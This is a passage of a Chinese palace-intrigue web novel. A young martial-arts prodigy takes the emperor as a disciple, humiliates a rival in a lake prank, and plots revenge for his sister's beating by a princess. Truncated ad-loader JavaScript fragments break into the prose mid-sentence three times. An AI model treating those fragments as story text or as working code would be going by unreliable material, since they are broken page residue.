“长安这个名字好,你也……十分配得上。”刘景看着远处的长安城郭,一语双关:“是天赐朕长安哪。” 鱼吃完了,我们起身收拾,要离开此地,回去再进一步打算。刘景牵着我,像父亲牵着幼儿,忽然他停住脚步,抚摸着我的头发,温柔疼惜地道:“你这一身本事,满腹才学,胆魄过人,智勇双全,是天下难得的奇才。达到这个境界,得吃多少苦啊。” 我一下子红了眼圈,世人都敬佩我武艺卓绝,才高八斗,却从来没有人心疼我这一番成就背后的艰辛。 他又要安慰我,我连忙伸手挡在他嘴巴上,哽了哽,摇摇头,“我不会哭的。” 他拿开我的手,红着眼睛,温柔道:“我是想说,想哭就哭出来吧。”刘景感叹:我小时候,哦不,就算是现在,难过伤心之时,最想听到的就是这句话。 “……”眼泪真的滑落,我却倔强的擦了擦,说不出话,因为我知道只要一开口,我就再也绷不住了。 他心疼地笑笑,宠爱心疼的牵着我继续走。 我缓了一会儿道:“陛下随我修行,但毕竟身份尊贵,我可以代师父收陛下入门为徒,便可代师父传受陛下修炼心法,咱们师兄弟也不必按入门先后排序,按岁数来吧,以后你就是我大师兄啦,你不学医,也不用和苏和排序。这事也不用和他说,等陛下修炼出真气,他诊平安脉自然知道,那时他若问,我再和他解释。” 正说着远远看见太子和庆王逍遥王一行人朝这边赶来,我和刘景相视一看,都不再继续聊下去。我便行礼告退几个飞身走了。 太子自然是认出我的,私下和刘景一番交涉,即便再宠爱儿子,刘景也不会把我们今日的事说与他听,只向太子了解一番,才恍然大悟:“哦,那外域疆图就是他画的,平昭和赵桓也是他的手笔,惠王的病也是他给医好的,你说他身有残疾,怕冒犯天颜不愿见驾。这个小长安啊,其实是想要隐藏自己,嗯,藏得好,隐得好,让他继续在学宫隐藏,不要惊扰他,自有一鸣惊人时。”到那时候,一定派上大用。刘景谈笑间已经在心里布好一盘大棋。 太子殿下见父皇机缘巧合之下遇见了长安,还这般喜欢,甚至开心。 刘景命老奴将湖边的鱼分给各位亲王,天子赐鱼,亲王们十分高兴。 是夜,我被秘密传召,通过学宫与未央宫连接的天桥,扮作内侍跟着来接我的黄门觐见刘景。刘景对着师父的画像,叩拜 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 上香,成了我师父的门下。我先传受他一些入门功法,又渡了一些内力给他,帮助他筑基,三更之前秘密返回学宫。 我才回宿舍躺下,李椒就起身了,他清了清嗓子,起床的动作也比平日里的重些,好似表示不满,像是在说,他知道我又出去鬼混了,肯定又没什么好事一般。我只做不知沉沉睡去,其他人也都睡的正香,呼噜满天。 李椒独自去演武堂练功,演武堂已有不少同窗开始勤奋苦练,他有些静不下心打坐,便索性打沙包练力气。 我和男男在书房外被罚站,堂邑夫和田世子因为治下不严,而被夫子责罚抄书。 太子殿下和惠王一行人往这边来,远远地就看见我们了,便问左右怎么回事。 张子文去找同窗们打听,原来今日上课,学生们表现不好,一心想着下午的骑射课,背书极其敷衍,夫子震怒,课间的小憩就给耽搁了。田男男尿急,见夫子震怒便不敢行动,但又实在憋不住,说是大约快要憋死了。长安就给他出主意,让他先偷偷尿一点儿,然后再捏住,说尿一点点看不出来,今日天热,一会儿就干了,神不知鬼不觉,总比憋死了好。 然后田男男就试了一下,然后……就怎么也捏不住了,长安还上手好心帮他捏……总之场面极其震撼,据说弄得周围全是,夫子也未能幸免。 一向端庄儒雅的太子和惠王听了,笑得前仰后合,从未如此失态。我一脸幽怨,撅着嘴巴瞪他们,本来以为救星来了,谁知……他们却笑得更加停不下来。 李椒忍俊不禁,却别过头去不肯看我。 下午堂邑夫他们去上骑射课,我沐浴更衣,跟着太子惠王一行人去看小黑,看看郑清驯得怎么样了。小黑可以接受马鞍了,但是拒绝上马嚼子。太子吩咐郑清不用急于一时。我说要是实在不行,就放弃吧,每个人活着都有每个人活着的意义,马也一样,小黑若是在大宛,天生就是一匹给人骑着驰骋沙场的战马,在咱们大汉,另一个意义就比被人骑重要得多。 众人都不解,我道:“小黑也是我疏忽了,错过了被驯服的时机,夹生的馒头,再也蒸不熟了,以后啊,干脆别驯了,别难为它了,这么好的种子,就让它做一个妻妾成群的种马吧。” 众人都是一乐,太子说,可。 惠王也是一笑,但又好似不痛快。我忽然想起一件事儿来,心想着别再忘了,得赶紧找个合适的机会告诉惠王。 郑清之后的工作重点便是好好帮小黑繁衍后代…… 太子与惠王到帐子里喝茶赏风景,韩燕熙张子文等人随侍。 李椒庄助等人和大公子带领的护卫守在外围,我走了过去,倚在一颗小树上,时不时看着李椒。李椒对上我的眼神就躲开,又仿佛觉得没面子,便又回看我,我不自在的躲避,也觉得没面子,就又看回去,来来往往,大公子和庄助等人也看好戏似的来回看着我们。 大公子对李椒说:“你和长安的事,奶奶说让你尽快把误会解开,你背上的伤,好得这般快,我们也都清楚怎么回事儿,去吧,去把话说开。” 李椒犹豫了一会儿,才有些不情愿的样子朝我这边来。我见他来了,还有些慌张,心扑通扑通地跳个不停。 21. 光腚 李椒走到我身边,大约三四步远,就停下了,左看右看,也不知道怎么开口。 “咱们和好吧。”我走到他身前,仰着头看着他,软软糯糯地央求,“别生气啦,好不好,咱们和好吧。” 他像是心口憋闷了一口气,始终不愿意说话,只故作坚强,推远我,皱着眉头,警示我保持距离。 “求求你啦。” “不许用这种语气跟我说话,”李椒咬了咬牙,居然很生气的样子,“这招对别人有用,对我没用。” 看吧,那晚哭着说什么,再问一下下,再求一下下,就会原谅我云云。我就知道不可能,我再怎么问,再如何求,你都还有更最后的坚决,就像无底洞,无论如何也填不满,我永远都探不到最后一下。 我耸耸肩,想着还是不要白费力气了,我喜欢他,但也只能到喜欢了。 “渴了吗,我去给你倒杯水。”我随意找了个借口转身离开。 平安骑着马风风火火的来找我,一见着我就抱怨说,她逛街的时候,看上一件衣服,太贵了犹豫着要不要买,就给梁王家的小郡主买去了,小郡主真是有钱,这么贵的衣服,店家找的零头都不要呢。然后平安又觉得一副首饰好看,郡主好像故意埋汰人,手一扬又给买下了。 “那你干嘛不赶在前头买了?”我给她倒了杯水,我们的帐子在太子大帐的后面,不算近,但我还是让平安小声些。 平安喝了一口水道:“我后来看到胭脂水粉什么的就先下手为强,可那小郡主偏要和我闹不痛快,一路和我竞价,后来价格太高,我就让给她了。” “想来是你一开始跟她较起劲了,后来大约是故意抬价,给她挖坑了吧。” 平安心事被我说中,呵呵乐起来。 “你去苏和那里拿一万两,黄金,去压压那小郡主的气焰。” “那么多钱!”平安大惊,却掩不住眼中的喜色,“那我更舍不得花了,我干嘛拿钱找人不痛快,得罪人,还不如攒着,我就喜欢攒钱,攒钱可比花钱让人开心多了。” “嗯,你要攒钱,我也有,你去苏和那里要就行,我的钱都在他那里,他行医的花销就从那些钱里出,你的花销也从那里出,这些年你哥哥我行走江湖,都给你攒下了,够你几辈子衣食无忧的。你呀不要有什么顾虑,你就放开胆子大大方方的花,这花钱啊与其扣扣索索得花,不如大手大脚来得痛快,别担心贵,贵能贵过钱吗?这就去,管苏和要两个弟子备两辆马车跟着装东西,招摇过市,把上午输了的场子找回来。” 平安又感动又开心,“长安你真是对我太好了。” “你是我妹妹,我不对你好,我对谁好。快去吧,赶紧去吧,一定要不遗余力,把我花的倾家荡产才好。” “不遗余力?呵呵,那我可要绞尽脑汁了。”平安欢喜。 有我妹妹的地方怎么少得韩燕熙,他一脸欢喜的来找平安,还从怀里拿了银票给平安,平安说什么也不要,我帮忙拦着纠缠不放的韩燕熙,平安才出了帐子骑着马离开。韩燕熙一脸失望,“干嘛啊,送上门的钱都不要。”银票仿佛也不香了,被他随手往桌子上一扔。 “我们平安现在是良家子,不能与外男不清不楚。”我说着把银票往他怀里塞好,“别和钱过不去,收好了。” 韩燕熙还想说什么,太子和惠王就走进来,“一万两黄金,不遗余力让你倾家荡产?你这样教育妹妹啊。”帐子顿时拥挤,韩燕熙便转身退下。 “啊,我没有教育她,我只是单纯宠着她,想她开心而已。”我一边行礼,一边给坐下的太子惠王斟茶,一边接着道:“殿下王爷待在京城,自然不如我游历各地清楚的多。京都清廉之气盛行,皇亲贵胄,勋功世家,各家公子小姐都不爱奢靡,喜欢低调奢华不张扬,京城商业不如洛阳开封等地繁荣,甚至不如个别诸侯王封国都城繁盛,有些人呢,山高皇帝远,可都是大手大脚惯了的人,只见这梁王小郡主行事作风也能窥见一斑。诸位王驾莅临京都,长安城好东西太多,以前放着也是放着,现在可不一样,不争着抢着买,岂不都被诸王家眷们一扫而空。不过我让平安如此行事,有宠爱,是真想给她出气,更是想让她以此为引子,让亲王家的世子郡主们,在京城多留些钱财下来,刺激一下京城商业,增加一下京都税收。看着吧,近日各地巨商富贾已云集京都,长安城怕是马上要比洛阳还热闹呢。哎,不如借着这个机会,打着庆贺诸位亲王来京的名义,大开宵禁吧,让长安城的水更浑一点,方便各方势力行事。毒疮有的时候刺激一下,烂得更快。” 惠王喂我吃糕点,太子听得津津有味。太子闻言便眼睛一亮,笑了笑,点点头:“长安啊,你真是越来越让我惊喜。” “哎,开了宵禁,咱们一起去逛青楼吧。”我提议道。 “咳咳咳……” 太子和惠王的茶水应该都有些烫,烫得他们又咳嗽又脸红。这个帐子太小,韩燕熙他们都守在外面,听得清楚,他们纷纷探进头来,一脸坏笑,看得二人更是窘迫。 我看了看众人,道:“想什么呢,我话还没说完呢,我是想说咱们去打听打听小道消息。人在江湖都知道,青楼是最鱼龙混杂的地方,也大有乾坤在里面。”我挑了挑眉,一脸讳莫如深的样子暗示他们:我,很懂,很专业。 太子和惠王两个纯情小白兔,很崇拜我的样子,羞涩的点点头。那,我就说嘛,男人哪有不想逛青楼的。 “长安,你个骗子,大骗子,你不是说给我倒水来着吗?”李椒气急败坏的在那个树下大吼大叫。 “哎呀,把他给忘了。” 太子知道我们有过节,但我没主动提,他就没问,李椒那边就更不好提起了。太子见我慌张,赶紧帮我解围,让李椒带人去接德王靖王来上林苑太液池游湖,把他支走了。 我们先行前往太液池,遇见外出踏青的李老太太,她看见我很是高兴。虽听说了我的近况,但还是奇怪我的样子,我和她解释我身体坏了,长不大了,她心疼了好一会儿,几欲落泪,我们还要行路,告别时她依依不舍,叮嘱大公子好好照看我,让我抽空去她家看她,让我别和她家那臭小子计较,说给我做好吃的吃。摸摸我的头就让我赶紧赶上太子殿下别落下。 她一直目送我小小的背影,直到看不见。 太液池是上林苑最大的湖泊,南军的水师就驻扎在此地演练,皇家为了彰显对水师的重视,只将太液池中蓬莱方丈瀛洲三座仙山附近的水面划归为皇家园林,其余水面都做军事重地划分出去。我们绕山而游,饶是这样,这一眼望不到边际的湖面,也让我们心旷神怡。 画舫在太液池上漂着,池水平静如镜,我趴在船舱的小轩窗往外看,太子和惠王坐在船舱里品茶。韩燕熙百无聊赖,说是那日看我降服一条大鱼精很是羡慕,也许这太液池里也有修行的精怪,召集张子文,都如意,赵不虞一同下水玩玩。庄助水性不好,会游两下,但是潜水就不行了,韩燕熙就没叫他。 几个大小伙子,一拍即合,脱光衣服就下水了,韩燕熙还知道留条短裤,入水前还专门转头看了我一眼。这厮真是……坏死了。但凡他正经一点,我都会在妹夫的人选上,摇摆一下。 我正一脸鄙夷的思量,韩燕熙游到船侧,趁我不备,一把把我拉下去。哼哼,你真是爱往刀口上撞啊。这些时日我功力恢复了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 好多,而且在水里,纠缠起来,这厮不是我的对手,我自信极了。 韩燕熙其实也一直想试下我的身手,探探我的底儿。一开始他还占上风,但他水性不如我,不一会儿就落了下风,于是我在水里好一顿纠缠,变着花收拾他,在他实在憋不住,往水上游去换气之际,我反而向下潜,顺势一把扯下他的短裤,啊哈哈哈哈……旋而一跃出了水面上了画舫,运气震干衣服头发,站在船头,一脚踩在船侧,摆出胜利者的架势,对着水里的韩燕熙,特意把短裤展开,像晒衣服一样抖了抖,用兰花指捏着裤腰两端,让短裤随风飘扬,“腚真大啊!”然后一只手举着一圈一圈地抡圆了甩,得意地哈哈大笑。 韩燕熙在水里也不恼,贱兮兮的又无所谓地看着我。 以为装作不在意不生气,我就自觉无趣不闹了吗?啊哈哈哈哈……我站在船头,双手将韩燕熙的短裤举过头顶,让风把他的短裤灌满,发出猎猎风声,“快来看哦,第一美男子的大裤衩喔……” 太子和惠王,庄助,也出了船舱,过来看热闹。 张子文他们浮上水面,在不远处看笑话。 韩燕熙到底还是有些要脸面的,有些恼羞地瞪着我,压低声音,“给我。” “略略略,就不给。”我朝他吐吐舌头。 惠王道:“长安,太子面前别……” 太子不以为意,和蔼道:“哎,让他玩让他闹,咱们出来就是放下规矩,无拘无束寻个开心放松放松。” 韩燕熙挂不住脸了,在水里不断朝我叫嚷,还打水花溅我,但都给我躲开了,他更气的不行。 张子文那几个人,哪见过韩燕熙被拿捏过,开始躁动起哄,韩燕熙回头对他们怒道:“都光着腚,你们闹个屁,傻子,还没下水就给人早看光了,乐屁呢!” 其他人都在兴头上,也没细想韩燕熙的话,见韩燕熙果真恼了,便也作罢,他们都了解韩燕熙的脾气,不愿意招惹他,便又扎进水里玩去了,大白腚有点晃眼。我羞涩了一下,内心坚定道:你是一个男孩子,这辈子坚定不移,看见就看见了,无所谓,谁还没长大屁股。 韩燕熙见我还在嘚瑟,忽然不再叫嚷,安静下来,一脸坏笑,我刚心道不好,就看见他飞身一跃上了船来。 哎呀我滴亲娘来……真是好风光……我眼疾手快,把短裤往他落脚地儿一扔,他见势心中大叫不好,这要是踩上,摔个四仰八叉,他岂不是威风扫地,岂不是成了众人笑柄。 惠王反应并没有我们习武之人快,虽然他第一时间用他最快的速度把我往怀里拉,甚至做了蒙住我眼睛的姿势,可我已经在韩燕熙跃起上船时,就做好了打算——往他脚下扔短裤给他挖坑的同时入水躲一躲。 所以作为观众的太子,他的视角来看,当时白条条的韩燕熙从水里一跃而起,有什么东西从他眼前划过,只见空中的韩燕熙一躲,落地一个大趔趄,同时身后忽然传来惠王惊叫,伴随落水声,一个大浪花溅了正回头来看的他满身满脸,他本能地闭眼抬袖来挡已是不及,再睁眼,李大公子与庄助已经把他拽到甲板另一边……到最后,他一双眼睛都没反应过来看哪……就感觉啥都赶上了却又啥也没看到…… 惠王被我拖带下水,他不通水性,本来有我在问题也不大,但碍不住人多力量乱,张子文他们赶紧来救,一下子蜂拥了过来,都是大白条,偏我在水下视力绝佳,到底心理素质差了些。总之大家,七手八脚,慌里慌张,惠王的衣袍又太大太沉,一番折腾,救上来的时候大家都筋疲力竭,惠王倚在船侧,大口喘气,惊慌未定弱弱地道:“还好还好,虚惊一场,不然……不然也千万不要用苏和的法子救我。” 22. 吃亏 众人闻言,沉默良久,又哈哈大笑起来。 我等他们都穿好衣服,才从水里跃上船,趁人不注意,偷着瞪了一眼韩燕熙,韩燕熙也瞪了我一眼,扯平了,哼。 他探我的底儿,我也探他的底儿,假以时日,待我内力恢复,你小子就得哭着喊我爷爷,啊哈哈哈哈…… 太子出行常备衣物,我伺候惠王在画舫的隔间更衣,用毛巾给他擦头发,我本是要用内力的,可他不愿我如此耗费,责备我拿内力不当好东西。 韩燕熙他们招呼远处正在演练的南军水师官兵过来,打水蹴鞠,比赛很是激烈。好多水师官兵觉得远观不尽兴,请示了太子,纷纷乘坐小舟过来看个痛快。太子独坐在另一侧小轩窗边看的津津有味,时不时或叫好,或助威呐喊。 惠王看着镜子里给他细心绾发的我,笑呵呵的。我低声问他:“太后赏赐你的姬妾,你用着可还好?给你的药你可按时吃哈。” 惠王脸色一尬,“我不喜欢那些事情,身边的人用惯了,也不喜欢她们围着转,都在后院好好养着呢,药倒是一直吃着。” “嗯……虽是强身健体的,可那药也不用一直吃,要是不行房事,药也可以不吃,但若行房,那药一定在房事之前饮用,可别一时性急等不了给忘了。” 人总是对这种事情特别耳尖,即便再小声。太子看水蹴鞠看得那么投入,这会儿也忍不住竖着耳朵看过来,听得很认真地样子。隔间狭小,刚才惠王换完衣服,觉得闷就把门开着,这会儿倒不好关了。 惠王红着脸,嗯了一声。我把发簪给他簪好,他就赶紧坐到太子对面,询问水蹴鞠的比分如何。 有些话还是单独找他聊。不是,他脸红个什么劲儿?他跟太子亲得比亲兄弟还亲,私下也不是没谈过这种事情,这会儿害羞什么? 不得不承认,韩燕熙人长得美,干什么都带着一股妩媚,打个水蹴鞠,还如出水芙蓉一般。其他男儿的阳刚,更衬托的他分外妖娆,把一众血气方刚的小伙子们都看成痴汉了,偏他自己还气得不行,像是被冒犯了一样。 我哼了一声,小声嘀咕:这小子怕是一辈子讨不得平安欢心。平安最讨厌这种阴柔,总说男人就该阳刚才对。 太液池里有蓬莱瀛洲方丈三座仙山,三座岛屿上各有宫殿。我们到蓬莱岛游玩,太子很喜欢这里,便想晚上在这里设宴邀请德王靖王。 岛上为数不多的宫人们一时慌了起来,原来上位者并不常来此地,岛上不论宫人还是食物器具,储备都不够,不足以开设夜宴。 太子仁善自责临时起意,害宫人们慌乱,便传令调用东宫人手,用东宫份例筹备饮食等一应事宜,三日后在蓬莱别苑设夜宴,宴请德王靖王齐王秦王,庆王逍遥王世子等诸位兄弟堂兄弟,以及皇室宗亲公主郡主,公侯世子县主等堂姊妹表亲。 此事还惊动了皇帝和太后,刘景听了很是支持,特意拨了私库银两,让小辈们好好玩玩,联络联络感情。太后也送来赏银,表示对后辈的爱护。 估摸着德王靖王他们也该到了,我们就上船回去迎接他们。 德王和靖王让人准备了酒席,船一靠岸,就让人上船安置。太子迎下船来,我们一行人也都下船迎接,太子兄弟们感情亲厚,相拥相抱,勾肩搭背,没什么礼数拘着,和寻常百姓家的兄弟没什么不同。 我想着这个热闹我就不凑了,却又插不上嘴告辞,又不好偷偷跑了。 这时看见平安骑着马来,我赶紧跑过去,心想这下好了,可以和平安一起回家啦。 却见平安气急败坏下了马,把头上的围帽摘了一扔,委屈极了,哭着大声嚷嚷,一点也不顾及远处的太子一行,“长安,啊啊啊,长安你看看,那个破郡主抢不过我就动手打我,啊啊啊,你看我脸都抓坏了,都抓破相了,气死我了,啊啊啊……” 平安跟我哭诉,一点不顾及美人的仪态,反倒洒脱直率,真实的像个农家妹妹。韩燕熙比我还快了一步,上前相迎,被平安一把推开,他也不恼,只跟着我一起查看伤势,心疼不已,却也插不上话,只能干着急。 “哟,可真是,怎么把我妹妹抓成这样了,别担心我有药,肯定不叫你留疤。”我细细看平安给我展示的抓痕,我简直心疼死,“你打回来了没有?她死了没?” “……没有。”平安愣了一下,噘着嘴巴,低着头,像是做错事情的小孩子,嘤嘤哭泣。 “吃亏啦?”气死我了! 平安点点头,仿佛害怕我责备,赶紧开始狡辩,“她是郡主嘛,我不敢反手,只敢推她。你看她给我抓的,胳膊上也是,像个泼妇一样,一点郡主的样子都没有,按倒我就打,还骑我身上打,气死我了……” 可能事实也没平安说得那么夸张,她说的严重一些,只是想让我怎么向着她,怎么心疼她,别怪罪她不中用。 我看着她可爱的样子,又心疼又好笑,道:“我没要责备你不敢打回去,我是想着你要是也把人家打了,打得重了,我得怎么给你兜着,没想到你给人打得毫无反手之力,这样……也好。” 平安有些感动,听到最后又炸毛了,“好什么好,什么我给人打得毫无反手之力,我是怕……”平安不好意思说下去,只有委屈哭道:“你看她给我抓得,嘤嘤嘤……” “……那谁叫你不敢反手,以后再遇上这样的事,你别管她是谁,就算是公主,你照打不误,什么身份地位,都别管,先打了再说,我给你兜着……” 韩燕熙着急的问:“那到底怎回事儿啊。”我也问道:“对啊,怎么就打起来了?” 平安低头看了一下自己的衣服,伸直双臂,转了一圈向我展示,“我这件衣服好看吧。” 不等我说话,韩燕熙一脸陶醉,“好看。”我瞪了他一眼,平安也没好气的收了动作,我道:“好看。” 平安又委屈起来:“就是因为这件衣服。” “衣服不是上午就给郡主抢走了吗?”韩燕熙不解。 平安瞪了一眼韩燕熙,娇嗔道:“哎呀这是另一家店的,嘤嘤嘤……” 我头一懵,“因为衣服挨得揍哇。” “你不是和我说喜欢的都抢过来吗?” 我有些被怼到,“嗯……不是叫你带着师侄一起吗?” “带了,那试衣间师侄又不能跟着进。”平安有些激动,“是我先进店,是我先看上的,我见郡主马上也要进店,就赶紧去试衣间更衣,想着我穿身上了,她该不抢了,没想到她一点武德也没有,进了更衣间各自换各自衣服呗,她却一看见我就怒从心中起,恶向胆边生,扬言要扒光我,上来就打我……气死我了……幸亏我跑得快。” “哦,在试件间打起来的。”韩燕熙似乎松了口气。几步外惠王也有些无奈。我想这两个人应该是见平安被打了,以为自己派去保护平安的手下办事不力。在试衣间里打起来,那些人还真是束手无策。 不过,就算在街上打,他们怕是也没法帮忙,对方是郡主,人家明着有护卫不说,也有的是暗中保护的暗卫。不插手还好,左不过是女孩之间的争执,插了手反而说不清了。那些人最大的用处就是防备一下居心不良的登徒子。可是对平安来说,头号登徒子就是韩燕熙,那些人还防范不了。 不过今日的事儿,那些人应该也是起了作用的,不然平安哪能就轻松跑出来找我。 “你想怎么出气!”我一脸认真庄重,严肃地问。 “打回来。” “行,走!”“好!” 我和平安商量妥当,达成一致,就要上马,韩燕熙作势去牵马,也要跟着去。 惠王大声问道:“ (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 长安,你干什么去?” 我回头一脸你干嘛明知故问,“给平安出气去啊。” 太子上了画舫,在甲板上呵呵笑道:“不急这一会儿,怕是郡主也不能在街上等着你们去出气,稍安勿躁,晚宴都快备好,和平安一起上船啊。” “你怎么说?”我低声问平安。 “……我饿了。”平安看着宫人们正往船上送各种佳肴摸了摸肚子。 “那逛了一下午了,又叫人很揍了一顿,哭了一路来找我,可不是饿了?要不……”我等了等,平安不应成,我见她还不平气,心里又跟着气起来,道:“我给你整俩馒头,咱们路上吃,今儿别说是郡主回府了,就算进宫,啊不,就算升天了,我也给你打回来。” “好!”平安点头。饭可以不吃,气不能不出。 众人闻言一脸震惊,惠王赶紧上前拦着要拿馒头的我,和上前等着接馒头的平安。 惠王好一番安抚,我才仿佛冷静下来,对平安低声道:“那殿下都开口了,咱不能驳人面子,那上船吧,游湖玩一玩,看看风景,心情就好了,我赶紧给你上点药,别晚了留疤。” 平安这才想起有比报仇更重要的事儿,她脸的伤可比出气要紧。“可是人多……”平安低着头道。 “人多?”我回头看了一眼甲板上的人,哎妈呀,乌泱泱一大片,今儿人确实是挺多的。 平安捡起地上的围帽,围帽却被马儿踩脏了,平安蹙眉,顺手挂在了马鞍上。惠王叫人把马儿牵走。 “你怕人多啊?人多好啊,人多热闹,噢这么大个上林苑,那一个人没有,多吓得慌啊。”说完我又趴在平安耳边道:“你不是要报仇吗,咱得有不在场证明啊。” 平安一脸惊奇的看着我,我朝她点点头,“且等好消息。”韩燕熙和惠王的人不给力,我的人可不管那套。 我和平安上了船,依次给上位者行礼。太子若有所思的看着平安,道:“先前你几次来找长安,虽然带着围帽也没有近前来,也总觉得那日上林苑和郑清沐兰洗尘的就是你,今日得见……” “还请殿下宽恕那日民女失礼之举。”平安有些慌张。 太子和平安的事,之前平安都告诉我了,我自然知道太子话里有话,藏得是什么话。我看看平安又看看太子,几个来回,故意一脸无知的样子,大剌剌地问:“平安你和太子有什么事瞒着我吗?你和殿下之前发生过什么事情吗?” 当初跟在太子身边的伴读,大都知道此事的渊源,这会儿都一脸恍然大悟。德王靖王却不知其中内情,闻言便觉得这二人有啥不可告人的秘密,顿时一脸兴致。 太子颇有些尴尬,清了清嗓子,说没什么就是一次偶遇,便转身进了船舱吩咐大家入席,含混过去。 哈哈,这个纯情的太子,和美人说两句话就红脸,我还不拿捏你?他一心扑在国家大事上,对琐事记性不好,先前应该是全都忘了,后来经提点想起了紫衣,郑清姐弟俩的事情,才复又想起了平安来,只是先前平安来找郑清,郑清身份低微,无召不可近前,平安就一直跟着郑清远远地。太子行为端正,就算心有疑惑也断然不会上赶着去问。平安自然也不会有心往前贴,今日算是赶巧了。 太子入席坐定看了一眼韩燕熙,若有所思,随即一脸笑意招呼兄弟们。 韩燕熙并没有看到太子一闪而过的不悦,伺候太子入座,却分心在平安身上。 北汉的皇家画舫装饰低调质朴,规格形制却不输南唐。贵人,宫人,护卫,还有德王靖王带来的乐人,差不多五六十口子人,画舫毫不拥挤,还绰绰有余。 我和平安坐在末席,船一发动,平安就把烦心事儿忘了,看着窗外的景色,道:“夕阳无限好,吹面小清风,落霞与孤鹜齐飞,池水共长天一色。太液池,真美。” 23. 风情 我正忙着给平安上药,随着她的目光看去,沉醉了一下,看着她脸上颈子上的抓痕,反而衬托的容颜美极,男人女人看了都心动,女人还会嫉妒,不经感叹:“太液池再美,不及你一分清丽,郡主怕是在试衣间看到你的脸了,才下这般重手,这些年你幸亏是养在惠王府上,要是和我一样流落在外,早死了十次八次了,你看看让人揍的,那郡主还比你小两岁吧。”若是平安流落江湖,死倒是最好的结果了,若是沦落到腌臜之地,求死不能,简直生不如死。 “别说了,不许说!”被一个没成年的小姑娘揍了,平安又气恼起来,“你啊,每次刚要说的我感动,就立马揭我短。” “这身衣服是挺好看的。” “对吧。” “嗯,挨顿揍也值。” “你还说!” “别动,涂不好药,会留疤哦,郑清会嫌弃哦。” “他才不会,什么时候给我出气?”平安一动不动地坐着,乖乖让我涂药,有些等不及的样子问我。 我换另一边涂药,在她耳边低声快速道:“吃完这顿饭。”明面上又道:“嗯,殿下为庆贺诸王来朝,请旨开放宵禁,到那时候再说。” 平安眼睛一亮,“开宵禁,那咱们去逛青楼玩玩吧。” “你……不学好你……”我全然忘了下午还要带着太子惠王去逛青楼,只有些憋气,正要好好教导平安一番,便给一阵阵咳嗽声打断。 平安的声音并不大,且有丝竹管弦之声,可是席上好多人忽然呛了酒,咳嗽起来,我和平安一脸茫然,不理他们。 “我可以女扮男装。”平安一脸自信。 我扫了她一眼,收拾着药匣,“就你?细皮嫩肉的?还女扮男装?把人都当瞎子,再说你去青楼,玩什么?谁玩谁?落坏人手里怎么办?” “有你在我怕啥。”平安洋洋得意。 我自然欢喜她这般仰仗我,“哟,逛青楼还记着带上我啊,那我可得谢谢你,那,你觉得我这小身板是逛青楼的常客喽?” “……”平安一脸恍然,然后一脸抱歉。 可能众人说什么好笑的事情,大家忍俊不禁,最后哄堂大笑。我和平安只自顾自说,自顾自吃,不管他们。 “哎呦,我想去青楼是听说南唐的李大娘子来长安了,她可是闻名天下的第一歌姬,她一首曲子千金难求,我自然想……” “行!”为这,也不是不能去,青楼有专门听曲儿的雅间。 “真的?”平安难以置信,我这就答应了,还这么痛快。 “真的!” 太子他们喝酒,谈笑风生,忆童年,话家常,这顿饭且得吃呢,我和平安早早吃完,我们一大一小趴在小轩窗边,看日落。 太阳西下,退去燥热,照在人身上暖洋洋的正好,光辉洒在太液池上,星星点点,美丽极了。我和妹妹身上披上一层橙红色的光…… “欲买桂花同载酒,终不似,少年游。” “青春大好,怎好有这样的感慨?” “我是恍惚间连梦里的岁月也算上了啊。”平安淡淡道:“我是怕啊,怕虚度年华,负了光阴,等老了会后悔会内疚,我时常觉得亏欠,我好怕啊,怕自己没活好,对不起原本平安应该活好的每一天。” “你这样就很好啊,别想太多,怕有负韶华,就及时行乐且为伴,每日里挥金如土,反正我有千金散尽还复来的本事,你幸福我就快乐,人生苦短,若有担忧,心中害怕,那就从今日起,无论什么事,只要你想,你就都更加肆意一些,更加尽兴一些,记得连同我的那一份儿。然后呢,再过几年呢,等郑清有出息了,你们完婚,生儿育女一辈子,到时候你想快意还不能够了呢,小儿女们缠着你,可有的忙呢!” 平安开怀的笑着,一脸希冀,她是太喜欢郑清了,太渴望有一个家,夫妻恩爱,儿女成双。 可是我一想起郑清,就觉得心里堵得慌,平安的美是需要能力地位金钱权力去匹配的,郑清想要达到那个高度得猴年马月啊,等到他有出息的时候我妹妹都老了,看来我得更强大一些,“唉,也就这样了,不然怎样?唉,你长得说好听点倾国倾城,说一般点红颜祸水,祸国殃民……” “嗯?这是一般点?这是难听,好难听,特别难听的吧?”平安气鼓鼓地。 “哎呦,对你来说这就是一般的了,你长成这样,还有更难听的,我都说不出口,用你的话讲自行脑补吧。史书上那些祸世妖妃啊,末代皇妃啊都什么风评,别说你不知道哈。”见她要反嘴,我继续道:“别打断我,我接着说,你长得这么祸国殃民,可不能浪费了,你可以去南唐给那个什么摄政王来点美人计,一朝选在君王侧,让他从此不早朝,哦,不对,从此让他起不来床,让他为你疯魔为你癫狂,为你立下雄心壮志,战死床上,精~尽不亡死不休,最好挑起两国纷争……” “去你的,长安,我看你要疯,快别说了,我可不去南唐。”平安对南唐依然心有余悸。 “啊哈哈哈哈……去南唐好啊,南唐还是老唐遗风,女子十六及笄,去南唐我给你举办一个比郡主还盛大的及笄礼,你若舍不得郑清,咱们把他一起带上。” “不去。” “那……给你送去鞑奴各部和亲,让他们几个部族为了挣你,大打出手,互相残杀。不过……说不定,最后几个部族单于坐一块儿一商量,达成一致,支起一口大锅把你分而食之,吃的渣也不剩了也说不准。” “嗯,我害怕,你别吓我。”平安一边软软糯糯地央求,一边缩了缩,往我身上靠过来。 我抱着她拍了拍她的背安抚她,嘴上却不依不饶,“就吓就吓。” 太阳慢慢靠近远山了,“一天又要过去了,长安你还记得母亲的样子吗?” 我和她又趴回小轩窗窗台上,看夕阳。 太子他们都是温文尔雅的人,喝起酒来也安静惬意,乐人们在画舫后仓奏乐,音乐悠扬婉转,整个画舫并不喧闹嘈杂,只时不时大家开怀大笑,好不快乐。 “你想母亲了?” “郡主马上要成年了,梁王极负盛宠,陛下太后特赐郡主笄礼在长安城举办,店家们什么好东西都给她留着,可她挑剩下了也不许别人买……”平安委屈的低声啜泣。 “今日是我不好,不该拿钱怂恿你争强斗狠。”我心疼的红了眼圈。 